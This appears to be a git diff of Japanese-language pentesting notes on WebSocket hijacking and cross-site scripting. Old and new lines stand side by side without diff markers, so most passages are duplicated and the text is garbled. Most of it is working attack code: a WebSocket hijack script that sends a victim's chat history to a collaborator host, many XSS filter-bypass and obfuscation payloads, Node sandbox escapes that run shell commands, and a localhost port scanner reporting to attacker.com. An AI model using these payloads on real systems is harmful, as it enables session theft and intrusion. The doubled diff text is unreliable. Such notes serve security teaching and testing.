[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) には説明があります。
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) には、Websocketsを使用してウェブを起動するためのコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) では説明を見つけることができます。
## Cross-site WebSocket hijacking (CSWSH)
**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースとして**[クロスサイトリクエストフォージェリCSRF](csrf-cross-site-request-forgery.md)**として特定されます。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や同様のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。
**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースとして識別される**[クロスサイトリクエストフォージェリCSRF](csrf-cross-site-request-forgery.md)**す。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や同様のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるウェブページ**をホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。
### Simple Attack
**Websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の**ユーザーを**Websocket**セッションに**関連付ける**ためにそれを使用している可能性があります。
**Websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**その**Websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります。
次に、例えば**Websocket** **サーバー**がユーザーの**会話の履歴**を返す場合、**"READY"**というメッセージが送信されると、**単純なXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、**"READY"**を送信することで**会話の履歴**を**取得**できるようになります。
```markup
次に、例えば**Websocket** **サーバー**がユーザーの**会話の履歴**を**送**場合、**"READY"**というメッセージが送信されると、**シンプルなXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、**"READY"**を送信することで**会話の履歴**を**取得**できるようになります。
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### クロスオリジン + 異なるサブドメインのクッキー
このブログ投稿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者が **サブドメイン**ドメインで **任意のJavascriptを実行** することに成功しました。これは **サブドメイン** であったため、**クッキー** が **送信** され、**WebsocketがOriginを適切にチェックしなかった** ため、通信が可能であり、**トークンを盗む** ことができました。
このブログ投稿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者が **サブドメイン** **クッキー****送信** し、**Websocketがオリジンを正しくチェックしなかったため**、そのサブドメインで **任意のJavascriptを実行** することに成功しました。これにより、通信が可能になり、**トークンを盗む** ことができました。
### ユーザーからデータを盗む
@ -140,11 +140,11 @@ WebSocketにおけるレースコンディションも存在します。[この
## その他の脆弱性
WebSocketは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**WebSocketはXSS、SQLi、またはWebの一般的な脆弱性を利用するために使用される可能性があります。**
WebSocketは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**WebSocketはXSS、SQLi、またはWebSocketからのユーザー入力を使用した他の一般的なWeb脆弱性を悪用するために使用される可能性があります。**
## **WebSocketスモグリング**
この脆弱性により、**リバースプロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠れたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
この脆弱性により、**プロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠れたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
{{#ref}}
h2c-smuggling.md

View File

@ -20,7 +20,7 @@
3. **JavaScriptコード内**で:
1. `<script>`タグをエスケープできますか?
2. 文字列をエスケープして異なるJSコードを実行できますか
3. テンプレートリテラル \`\` 内に入力がありますか?
3. あなたの入力はテンプレートリテラル \`\` 内にありますか?
4. 保護を回避できますか?
4. 実行されているJavaScript **関数**
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
@ -59,7 +59,7 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が**「悪用できないタグ」**内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
クラス名を制御している場合のAngularによるXSSの奇妙な例
クラス名を制御る場合のAngularによるXSSの奇妙な例
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -83,7 +83,7 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。**\
Javascript Hoistingは、**関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用できることを意味します。**\
**詳細については、以下のページを確認してください:**
{{#ref}}
@ -94,7 +94,7 @@ js-hoisting.md
いくつかのウェブページには、**実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。** 実際に見られる一般的な例は、`?callback=callbackFunc`のようなものです。
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば'Vulnerable'に)で、コンソールで次のようなエラーを探すことです:
ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、**パラメータの値を変更すること**(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです:
![](<../../images/image (711).png>)
@ -150,7 +150,7 @@ server-side-xss-dynamic-pdf.md
## 生のHTML内に注入
あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\
この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\
この場合も、**Client Side Template Injection**を考慮してください[**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\
_**注: HTMLコメントは、`-->`または`--!>`を使用して閉じることができます。**_
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
@ -176,7 +176,7 @@ alert(1)
```
### ブラックリストバイパス
もし何らかのブラックリストが使用されている場合、いくつかの簡単なトリックを使ってバイパスを試みることができます:
もし何らかのブラックリストが使用されている場合、いくつかの簡単なトリックバイパスを試みることができます:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -228,7 +228,7 @@ onerror=alert`1`
```
### 長さバイパス小さなXSS
> [!NOTE] > **異なる環境のためのより小さなXSS** ペイロード [**こちら**](https://github.com/terjanq/Tiny-XSS-Payloads) と [**こちら**](https://tinyxss.terjanq.me) で見つけることができます。
> [!NOTE] > **異なる環境のためのより小さなXSS** ペイロード [**こちら**](https://github.com/terjanq/Tiny-XSS-Payloads) と [**こちら**](https://tinyxss.terjanq.me) で見つけることができます。
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
@ -265,9 +265,9 @@ onerror=alert`1`
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### 属性内
### 属性内
たとえ**属性から逃げることができなくても**`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているか、一部だけを制御しているか**によって、悪用することができるでしょう。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
たとえ**属性から逃げることができなくても**`"`がエンコードされているか削除されている場合)、**どの属性**にあなたの値が反映されているかによって、**すべての値を制御しているのか、一部だけを制御しているのか**に応じて、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\
もう一つの興味深い**例**は、属性`href`で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`**
**HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス**
@ -326,7 +326,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
**これらのプロトコルを注入できる場所**
**一般的に** `javascript:` プロトコルは **`href` 属性を受け入れる任意のタグで使用でき**、**ほとんどの** `src` 属性を受け入れるタグで使用できます(ただし `<img>` は除く)
```markup
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
@ -347,7 +347,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**他の難読化トリック**
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。属性内にいるためです。**_
_**この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
@ -359,7 +359,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```
注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロード内で混ぜる**ことはできます。
**`javascript:`を使ったHexおよびOctalエンコード**
**`javascript:`でのHexおよびOctalエンコードの使用**
あなたは**Hex**および**Octalエンコード**を`iframe``src`属性内で(少なくとも)使用して**JSを実行するHTMLタグを宣言**することができます:
```javascript
@ -377,15 +377,15 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
```javascript
<a target="_blank" rel="opener"
```
任意の **`<a href=`** タグに **`target="_blank" and rel="opener"`** 属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**
任意の**`<a href=`**タグに**`target="_blank"`**および**`rel="opener"`**属性を含むURLを注入できる場合は、この動作を悪用するために**次のページを確認してください**
{{#ref}}
../reverse-tab-nabbing.md
{{#endref}}
### イベントハンドラのバイパス
### イベントハンドラーバイパスについて
まず、役立つ **"on" イベントハンドラ** のためにこのページを確認してください ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet))。\
まず、役立つ**"on"イベントハンドラ**についてはこのページを確認してください([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)。\
このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます:
```javascript
<svg onload%09=alert(1)> //No safari
@ -423,7 +423,7 @@ onbeforetoggle="alert(2)" />
<div popover id="newsletter">Newsletter popup</div>
```
[**こちら**](https://portswigger.net/research/xss-in-hidden-input-fields)から: **隠し属性**内で**XSSペイロード**を実行できますが、**犠牲者**に**キーの組み合わせ**を押すように**説得**する必要があります。FirefoxのWindows/Linuxではキーの組み合わせは**ALT+SHIFT+X**で、OS Xでは**CTRL+ALT+X**です。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。ここにベクターがあります:
```markup
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSSペイロードは次のようになります`" accesskey="x" onclick="alert(1)" x="`**
@ -452,7 +452,7 @@ onbeforetoggle="alert(2)" />
例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合
しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用することができます。例えば、次のようなものを見つけた場合
> .test {display:block; color: blue; width: 100%\}
@ -468,11 +468,11 @@ onbeforetoggle="alert(2)" />
## JavaScriptコード内への注入
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、`<script>...</script>`タグの間、JSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
### \<script>タグのエスケープ
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`タグを閉じることによってエスケープ**できます:
もしあなたのコードが`<script> [...] var input = 'reflected data' [...] </script>`の中に挿入されている場合、簡単に**`<script>`タグを閉じることエスケープ**できます:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
### JSコード内
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し入力が**存在する場所**で**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,23 +488,23 @@ onbeforetoggle="alert(2)" />
```
### テンプレートリテラル \`\`
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行することができます:
**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます:
これは次のように**悪用**できます:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
```````````````javascript
```javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````
```````````````
loop``
```
### エンコードされたコード実行
```markup
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScriptの改行から** [**JavaScriptの改行**](#javascript-new-lines) **トリック)**
**JavaScriptの改行から** [**JavaScriptの改行**](#javascript-new-lines) **トリック**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -599,7 +599,7 @@ console.log(log)
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
**括弧なしのJavaScript**
````javascript
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
@ -672,12 +672,12 @@ try{throw onerror=alert}catch{throw 1}
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
````
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**任意の関数alert呼び出し**
````javascript
```javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
@ -735,24 +735,24 @@ top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
```
## **DOMの脆弱性**
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`のようなものです。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
**DOMの脆弱性に関する説明が長くなったため、** [**このページに移動しました**](dom-xss.md)**:**
攻撃者によって制御される**安全でないデータ**を使用している**JSコード**があります。例えば`location.href`のよう。攻撃者はこれを悪用して任意のJSコードを実行することができます。\
**DOMの脆弱性に関する説明が長ため、** [**このページに移動しました**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのかそしてどのように悪用されるについての詳細な説明**が見つかります。\
そこでは、**DOMの脆弱性とは何か、どのように引き起こされ、どのように悪用されるかの詳細な説明**が見つかります。\
また、**前述の投稿の最後に**、[**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。
### Self-XSSのアップグレード
### Cookie XSS
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメイン他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます
もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメインクッキーXSSに対して脆弱なものでクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -766,9 +766,9 @@ dom-xss.md
### セッションミラーリング
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ています。
self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ることになります。
あなたは**管理者にself XSSをトリガーさせ、彼のクッキー/セッションを盗む**ことができます。
あなたは**管理者にself XSSをトリガーさせ、彼のクッキー/セッションを盗む**ことができます。
## その他のバイパス
@ -783,18 +783,18 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ
### Ruby-On-Rails バイパス
**RoR マスアサインメント** により、HTMLに引用符が挿入され、その後引用制限がバイパスされ、タグ内に追加のフィールドonfocusを追加できます。\
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信すると:
フォームの例 ([from this report](https://hackerone.com/reports/709336))、ペイロードを送信した場合:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
ペア「Key」「Value」は次のようにエコーされます:
ペア「Key」「Value」は次のようにエコーされます:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
その後、onfocus属性が挿入され、XSSが発生します。
### 特殊な組み合わせ
```markup
```html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
@ -823,24 +823,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### 302レスポンスにおけるヘッダーインジェクションを用いたXSS
### XSS with header injection in a 302 response
**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
もしあなたが **302リダイレクトレスポンスにヘッダーを注入できる** ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは **簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
[**このレポート**](https://www.gremwell.com/firefox-xss-302)[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
[**このレポート**](https://www.gremwell.com/firefox-xss-302)[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`
### 文字、数字、ドットのみ
### Only Letters, Numbers and Dots
**コールバック**を示すことができる場合、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](#javascript-function)ことで、この動作を悪用する方法を見つけることができます
もしあなたが **コールバック** を示すことができるなら、javascriptが **実行する** 文字はそれらの文字に制限されます。[**この投稿のこのセクションを読んで**](#javascript-function) この動作を悪用する方法を見つけてください
### XSSに対する有効な`<script>`コンテンツタイプ
### Valid `<script>` Content-Types to XSS
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)スクリプトを`application/octet-stream`のような**コンテンツタイプ**で読み込もうとすると、Chromeは次のエラーを表示します:
[**こちらから**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)もしあなたが `application/octet-stream` のような **content-type** でスクリプトを読み込もうとすると、Chromeは次のエラーを投げます:
> MIMEタイプ`application/octet-stream`が実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx')からスクリプトの実行を拒否しました。
> MIMEタイプapplication/octet-streamが実行可能ではなく、厳格なMIMEタイプチェックが有効になっているため、[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') からスクリプトの実行を拒否しました。
Chromeが**読み込まれたスクリプト**を実行するのをサポートする唯一の**Content-Type**は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)のconst **`kSupportedJavascriptTypes`**内のものです。
Chromeが **読み込まれたスクリプト** を実行するのをサポートする唯一の **Content-Type** は、[https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) const **`kSupportedJavascriptTypes`** 内のものです。
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -864,7 +864,7 @@ const char* const kSupportedJavascriptTypes[] = {
```
### Script Types to XSS
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むためにされる可能性がありますか?
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) では、どのタイプがスクリプトを読み込むために指定される可能性がありますか?
```html
<script type="???"></script>
```
@ -896,9 +896,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
この動作は、[**この解説**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができます
この動作は、[**このレポート**](https://github.com/zwade/yaca/tree/master/solution)でライブラリをevalに再マッピングしてXSSを引き起こすために悪用されることができるように使用されました
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、プリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** この機能は、主にプリレンダリングによって引き起こされるいくつかの問題を解決するためのものです。動作は次のようになります:
```html
<script type="speculationrules">
{
@ -923,7 +923,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? リストにはありませんが、CTFで見たことがあると思います)
- text/plain (?? リストにはありませんが、CTFでこれを見たと思います)
- application/rss+xml (オフ)
- application/atom+xml (オフ)
@ -939,9 +939,9 @@ import { partition } from "lodash"
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### 特殊置換パターン
### 特殊置換パターン
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
**`"some {{template}} data".replace("{{template}}", <user_input>)`** のようなものが使用されるとき、攻撃者は[**特殊文字列置換**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement)を使用して、いくつかの保護を回避しようとすることがあります: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
例えば、[**この書き込み**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)では、スクリプト内の**JSON文字列をエスケープ**し、任意のコードを実行するために使用されました。
@ -984,7 +984,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**このレポート**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、役立つオブジェクトを「無から」生成して、任意の信頼できないコードの実行を悪用することが可能です:
もし**すべてが未定義**である場合、信頼できないコードを実行する前に(例えば[**この解説**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)のように)、何もないところから有用なオブジェクトを生成して、任意の信頼できないコードの実行を悪用することが可能です:
- import()を使用して
```javascript
@ -993,7 +993,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`を間接的にアクセスする
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによって関数内にラップされます。
[これによると](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) モジュールはNode.jsによってこのように関数内でラップされます:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1046,9 +1046,9 @@ console.log(req("child_process").execSync("id").toString())
}
trigger()
```
### Obfuscation & Advanced Bypass
### オブfuscation & 高度なバイパス
- **1ページ内の異なる難読化:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- **1つのページ内の異なるオブfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1228,9 +1228,9 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
## XSS一般的なペイロード
## XSS一般的なペイロード
### 1つのペイロードに複数
### 1つの中にいくつかのペイロード
{{#ref}}
steal-info-js.md
@ -1343,7 +1343,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### ポートスキャナー (websockets)
### ポートスキャナー (ウェブソケット)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1358,12 +1358,12 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
